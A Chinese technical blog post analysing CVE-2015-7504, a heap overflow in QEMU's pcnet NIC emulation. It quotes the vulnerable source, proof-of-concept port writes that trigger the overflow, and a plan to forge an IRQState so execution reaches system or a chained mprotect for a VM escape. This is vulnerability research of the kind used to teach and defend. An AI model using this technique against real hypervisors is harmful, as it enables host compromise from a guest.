热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

qemupwncve20157504堆溢出漏洞分析

 cve-2015-7504是pcnet网卡中的一个堆溢出漏洞,可以溢出四字节,通过构造特定的数据可以劫持程序执行流,结合前面的cve-2015-5165中的信息泄露,便可以实现任意代码执行。 漏洞分

 

cve-2015-7504是pcnet网卡中的一个堆溢出漏洞,可以溢出四字节,通过构造特定的数据可以劫持程序执行流,结合前面的cve-2015-5165中的信息泄露,便可以实现任意代码执行。

 

漏洞分析

首先仍然是先介绍pcnet网卡的部分信息。

网卡有16位和32位两种模式,这取决于DWIO(存储在网卡上的变量)的实际值,16位模式是网卡重启后的默认模式。网卡有两种内部寄存器:CSR(控制和状态寄存器)和BCR(总线控制寄存器)。两种寄存器都需要通过设置对应的我们要访问的RAP(寄存器地址端口)寄存器来实现对相应CSR或BCR寄存器的访问。

网卡的配置可以通过填充一个初始化结构体,并将该结构体的物理地址传送到网卡(通过设置CSR[1]和CSR[2])来完成,结构体定义如下:

struct pcnet_config {
uint16_t mode; /* working mode: promiscusous, looptest, etc. */
uint8_t rlen; /* number of rx descriptors in log2 base */
uint8_t tlen; /* number of tx descriptors in log2 base */
uint8_t mac[6]; /* mac address */
uint16_t _reserved;
uint8_t ladr[8]; /* logical address filter */
uint32_t rx_desc; /* physical address of rx descriptor buffer */
uint32_t tx_desc; /* physical address of tx descriptor buffer */
};

漏洞代码在./hw/net/pcnet.cpcnet_receive函数中,关键代码如下:

ssize_t print pcnet_receive(NetClientState *nc, const uint8_t *buf, size_t size_)
{
int size = size_;
PCNetState *s = qemu_get_nic_opaque(nc);
...
uint8_t *src = s->buffer;
....
} else if (s->looptest == PCNET_LOOPTEST_CRC ||
!CSR_DXMTFCS(s) || size uint32_t fcs = ~0;
uint8_t *p = src;
while (p != &src[size])
CRC(fcs, *p++);
*(uint32_t *)p = htonl(fcs); //将crc值写到数据包的末尾
size += 4;
...
pcnet_update_irq(s);
return size_;
}

s->buffer是网卡接收的数据,size是数据大小,可以看到代码计算出当前数据包的crc值并写到了数据包的末尾。但是当size刚好为s->buffer的大小时,会导致最后会将crc值越界到缓冲区之外,溢出的数据为数据包中的crc值。

接下来看越界会覆盖什么,s的定义是PCNetState,定义如下:

struct PCNetState_st {
NICState *nic;
NICConf conf;
QEMUTimer *poll_timer;
int rap, isr, lnkst;
uint32_t rdra, tdra;
uint8_t prom[16];
uint16_t csr[128];
uint16_t bcr[32];
int xmit_pos;
uint64_t timer;
MemoryRegion mmio;
uint8_t buffer[4096];
qemu_irq irq;
void (*phys_mem_read)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void (*phys_mem_write)(void *dma_opaque, hwaddr addr,
uint8_t *buf, int len, int do_bswap);
void *dma_opaque;
int tx_busy;
int looptest;
};

可以看到buffer的大小为4096,当size4096时,会使得crc覆盖到后面的qemu_irq irq低四字节。irq的定义是typedef struct IRQState *qemu_irq,为一个指针。溢出会覆盖该结构体指针的低四字节,该结构体定义如下:

struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};

在覆盖率变量irq的第四字节后,在程序的末尾有一个pcnet_update_irq(s);的函数调用,该函数中存在对qemu_set_irq函数的调用,由于可控irq,所以可控irq->handler,使得有可能控制程序执行流。

void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}

可以看到覆盖的值的内容是数据包的crc校验的值,该值是可控的。我们可以通过构造特定的数据包得到我们想要的crc校验的值,有需要可以去看具体原理,因此该漏洞可实现将irq指针低四字节覆盖为任意地址的能力。

再看如何触发漏洞pcnet_receive函数,找到调用它的函数pcnet_transmit,需要设置一些标志位如BCR_SWSTYLE等才能触发函数:

static void pcnet_transmit(PCNetState *s)
{
hwaddr xmit_cxda = 0;
int count = CSR_XMTRL(s)-1;
int add_crc = 0;
int bcnt;
s->xmit_pos = -1;
...
if (s->xmit_pos + bcnt > sizeof(s->buffer)) {
s->xmit_pos = -1;
goto txdone;
}
...
if (CSR_LOOP(s)) {
if (BCR_SWSTYLE(s) == 1)
add_crc = !GET_FIELD(tmd.status, TMDS, NOFCS);
s->looptest = add_crc ? PCNET_LOOPTEST_CRC : PCNET_LOOPTEST_NOCRC;
pcnet_receive(qemu_get_queue(s->nic), s->buffer, s->xmit_pos);
s->looptest = 0;
} else {
...

再看调用pcnet_transmit的函数:一个是在pcnet_csr_writew中调用;一个是在pcnet_poll_timer中。

主要看pcnet_csr_writew函数,它被pcnet_ioport_writew调用,了io_port函数,可以去对程序流程进行分析了。

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04xn", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}


流程分析

因为流程中很多关键数据都是使用CSR(控制和状态寄存器)表示的,这些寄存器各个位的意义看起来又很麻烦,所以这次流程分析更多的是基于poc的流程。

先看网卡信息,I/O端口为0xc140,大小为32:

root@ubuntu:~# lspci -v -s 00:05.0
00:05.0 Ethernet controller: Advanced Micro Devices, Inc. [AMD] 79c970 [PCnet32 LANCE] (rev 10)
Flags: bus master, medium devsel, latency 0, IRQ 10
I/O ports at c140 [size=32]
Memory at febf2000 (32-bit, non-prefetchable) [size=32]
Expansion ROM at feb80000 [disabled] [size=256K]
Kernel driver in use: pcnet32
lspci: Unable to load libkmod resources: error -12

再看./hw/net/pcnet-pci.c中的realize函数中的pmio空间的相关声明:

memory_region_init_io(&d->io_bar, OBJECT(d), &pcnet_io_ops, s, "pcnet-io",
PCNET_IOPORT_SIZE);
#define PCNET_IOPORT_SIZE 0x20
static const MemoryRegionOps pcnet_io_ops = {
.read = pcnet_ioport_read,
.write = pcnet_ioport_write,
.endianness = DEVICE_LITTLE_ENDIAN,
};
static void pcnet_ioport_write(void *opaque, hwaddr addr,
uint64_t data, unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_write(opaque, addr, data, size);
if (addr <0x10) {
...
}
}
static uint64_t pcnet_ioport_read(void *opaque, hwaddr addr,
unsigned size)
{
PCNetState *d = opaque;
trace_pcnet_ioport_read(opaque, addr, size);
if (addr <0x10) {
...
}
} else {
if (size == 2) {
return pcnet_ioport_readw(d, addr);
} else if (size == 4) {
return pcnet_ioport_readl(d, addr);
}
}
return ((uint64_t)1 <<(size * 8)) - 1;
}

可以看到当addr大于0x10时,会根据size的大小调用相对应的pcnet_ioport_readw以及pcnet_ioport_readl

poc中关键代码如下:

/* soft reset */
inl(PCNET_PORT + 0x18);
inw(PCNET_PORT + RST);
/* set swstyle */
outw(58, PCNET_PORT + RAP);
outw(0x0102, PCNET_PORT + RDP);
/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);
/* init and start */
outw(0, PCNET_PORT + RAP);
outw(0x3, PCNET_PORT + RDP);
sleep(2);
pcnet_packet_send(&pcnet_tx_desc, pcnet_tx_buffer, pcnet_packet,
PCNET_BUFFER_SIZE);

首先是先调用inl以及inw去初始化网卡,在readw中0x14对应的会调用pcnet_s_reset函数,readl函数中0x18也会调用该函数。该函数会将网卡进行初始化,包括设置为16位模式以及设置状态为stop状态等。

static void pcnet_s_reset(PCNetState *s)
{
trace_pcnet_s_reset(s);
s->rdra = 0;
s->tdra = 0;
s->rap = 0;
s->bcr[BCR_BSBC] &= ~0x0080; //设置16位模式
s->csr[0] = 0x0004; //设置state为stop状态
...
s->tx_busy = 0;
}

先看下pcnet_ioport_writew的定义:

void pcnet_ioport_writew(void *opaque, uint32_t addr, uint32_t val)
{
PCNetState *s = opaque;
pcnet_poll_timer(s);
#ifdef PCNET_DEBUG_IO
printf("pcnet_ioport_writew addr=0x%08x val=0x%04xn", addr, val);
#endif
if (!BCR_DWIO(s)) {
switch (addr & 0x0f) {
case 0x00: /* RDP */
pcnet_csr_writew(s, s->rap, val);
break;
case 0x02:
s->rap = val & 0x7f;
break;
case 0x06:
pcnet_bcr_writew(s, s->rap, val);
break;
}
}
pcnet_update_irq(s);
}
static void pcnet_csr_writew(PCNetState *s, uint32_t rap, uint32_t new_value)
{
uint16_t val = new_value;
#ifdef PCNET_DEBUG_CSR
printf("pcnet_csr_writew rap=%d val=0x%04xn", rap, val);
#endif
switch (rap) {
case 0:
s->csr[0] &= ~(val & 0x7f00); /* Clear any interrupt flags */
s->csr[0] = (s->csr[0] & ~0x0040) | (val & 0x0048);
val = (val & 0x007f) | (s->csr[0] & 0x7f00);
/* IFF STOP, STRT and INIT are set, clear STRT and INIT */
if ((val&7) == 7)
val &= ~3;
if (!CSR_STOP(s) && (val & 4))
pcnet_stop(s);
if (!CSR_INIT(s) && (val & 1))
pcnet_init(s);
if (!CSR_STRT(s) && (val & 2))
pcnet_start(s);
if (CSR_TDMD(s))
pcnet_transmit(s);
return;
...
s->csr[rap] = val; //设置csr寄存器值
}

可以看到我们可以通过设置addr0x12来设置s->rap,然后再通过addr为0x100x16来操作csr寄存器或bcr寄存器,而设置好的s->rap则是csr寄存器或bcr寄存器的索引。

因此操作都需要两条指令才能进行,先通过s->rap设置好索引,再去操作相应的寄存器,如poc中需要将pcnet的配置结构体传递给网卡,需要将该结构体物理地址赋值给csr[1]以及csr[2],则需要先将s->rap设置为1再去将地址的值赋值:

/* card config */
outw(1, PCNET_PORT + RAP);
outw(lo, PCNET_PORT + RDP);
outw(2, PCNET_PORT + RAP);
outw(hi, PCNET_PORT + RDP);

配置好网卡后,通过pcnet_init以及pcnet_start将网卡启动起来,再将构造的数据发送出去就触发了漏洞。

 

漏洞利用

该漏洞的利用需要结合之前cve-2015-5165的信息泄露,基于信息泄露得到了程序基址以及相应的堆地址后,便可实现任意代码执行。

先看内存结构原有的内存结构,将断点下在pcnet_receive函数,运行poc:

pwndbg> print s
$2 = (PCNetState *) 0x5565a78d0840
pwndbg> vmmap s
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print s->irq
$3 = (qemu_irq) 0x5565a78d6740
pwndbg> vmmap s->irq
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]
pwndbg> print &s->buffer
$5 = (uint8_t (*)[4096]) 0x5565a78d2ad0
pwndbg> vmmap &s->buffer
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x5565a66f1000 0x5565a7f15000 rw-p 1824000 0 [heap]

可以看到irq指针的值为堆地址,而我们可控的网卡的数据也在堆上。

利用思路就比较清楚了,将irq指针的低四位覆盖指向s->buffer中的某处,并在该处伪造好相应的irq结构体,如将handler伪造为system plt的地址,将opaque伪造为堆中参数cat flag的地址。

struct IRQState {
Object parent_obj;
qemu_irq_handler handler;
void *opaque;
int n;
};

system plt地址可通过objdump获得:

$ objdump -d -j .plt ./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64 | grep system
./qemu/bin/debug/native/x86_64-softmmu/qemu-system-x86_64: file format elf64-x86-64
000000000009cf90 :
9cf90: ff 25 a2 14 7d 00 jmpq *0x7d14a2(%rip) # 86e438

需要提一下的是,QEMU Case Study中则是调用mprotect函数来先将内存设置为可执行,然后再执行shellcode。但是看起来似乎无法控制第三个参数的值,因为level是由父函数pcnet_update_irq传递过来的:

void qemu_set_irq(qemu_irq irq, int level)
{
if (!irq)
return;
irq->handler(irq->opaque, irq->n, level);
}

该文章中的解决方法是构造了两个irq,第一个函数指针指向了qemu_set_irq,将opque设置为第二个irq的地址,irq->n设置为7;第二个irq则将handler设置为mprotectopaque设置为对应的地址,n设置为相应的地址,以此来实现第三个参数的控制。当mprotect成功执行后,再通过网卡数据的设置,控制执行流重新执行shellcode的地址,实现利用。

 

小结

两个很经典的漏洞结合实现了任意代码执行,值得学习。

相应的脚本和文件链接

 

参考链接



  1. [翻译]虚拟机逃逸——QEMU的案例分析(一)

  2. [翻译]虚拟机逃逸——QEMU的案例分析(二)

  3. [翻译]虚拟机逃逸——QEMU的案例分析(三)

  4. QEMU Case Study

  5. qemu 逃逸漏洞解析CVE-2015-5165 和 CVE-2015-7504 漏洞原理与利用

  6. 【漏洞分析】前往黑暗之门!Debugee in QEMU

  7. Reversing CRC

欢迎关注平凡路上,一个二进制漏洞分析与利用经验心得交流分享的平台。


推荐阅读
  • 本文讨论了使用差分约束系统求解House Man跳跃问题的思路与方法。给定一组不同高度,要求从最低点跳跃到最高点,每次跳跃的距离不超过D,并且不能改变给定的顺序。通过建立差分约束系统,将问题转化为图的建立和查询距离的问题。文章详细介绍了建立约束条件的方法,并使用SPFA算法判环并输出结果。同时还讨论了建边方向和跳跃顺序的关系。 ... [详细]
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文讨论了如何使用IF函数从基于有限输入列表的有限输出列表中获取输出,并提出了是否有更快/更有效的执行代码的方法。作者希望了解是否有办法缩短代码,并从自我开发的角度来看是否有更好的方法。提供的代码可以按原样工作,但作者想知道是否有更好的方法来执行这样的任务。 ... [详细]
  • 本文介绍了设计师伊振华受邀参与沈阳市智慧城市运行管理中心项目的整体设计,并以数字赋能和创新驱动高质量发展的理念,建设了集成、智慧、高效的一体化城市综合管理平台,促进了城市的数字化转型。该中心被称为当代城市的智能心脏,为沈阳市的智慧城市建设做出了重要贡献。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • LeetCode笔记:剑指Offer 41. 数据流中的中位数(Java、堆、优先队列、知识点)
    本文介绍了LeetCode剑指Offer 41题的解题思路和代码实现,主要涉及了Java中的优先队列和堆排序的知识点。优先队列是Queue接口的实现,可以对其中的元素进行排序,采用小顶堆的方式进行排序。本文还介绍了Java中queue的offer、poll、add、remove、element、peek等方法的区别和用法。 ... [详细]
  • C# 7.0 新特性:基于Tuple的“多”返回值方法
    本文介绍了C# 7.0中基于Tuple的“多”返回值方法的使用。通过对C# 6.0及更早版本的做法进行回顾,提出了问题:如何使一个方法可返回多个返回值。然后详细介绍了C# 7.0中使用Tuple的写法,并给出了示例代码。最后,总结了该新特性的优点。 ... [详细]
  • 本文介绍了为什么要使用多进程处理TCP服务端,多进程的好处包括可靠性高和处理大量数据时速度快。然而,多进程不能共享进程空间,因此有一些变量不能共享。文章还提供了使用多进程实现TCP服务端的代码,并对代码进行了详细注释。 ... [详细]
  • 关键词:Golang, Cookie, 跟踪位置, net/http/cookiejar, package main, golang.org/x/net/publicsuffix, io/ioutil, log, net/http, net/http/cookiejar ... [详细]
  • 个人学习使用:谨慎参考1Client类importcom.thoughtworks.gauge.Step;importcom.thoughtworks.gauge.T ... [详细]
  • 也就是|小窗_卷积的特征提取与参数计算
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了卷积的特征提取与参数计算相关的知识,希望对你有一定的参考价值。Dense和Conv2D根本区别在于,Den ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
  • 第四章高阶函数(参数传递、高阶函数、lambda表达式)(python进阶)的讲解和应用
    本文主要讲解了第四章高阶函数(参数传递、高阶函数、lambda表达式)的相关知识,包括函数参数传递机制和赋值机制、引用传递的概念和应用、默认参数的定义和使用等内容。同时介绍了高阶函数和lambda表达式的概念,并给出了一些实例代码进行演示。对于想要进一步提升python编程能力的读者来说,本文将是一个不错的学习资料。 ... [详细]
author-avatar
姿萱俊达俊宏
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有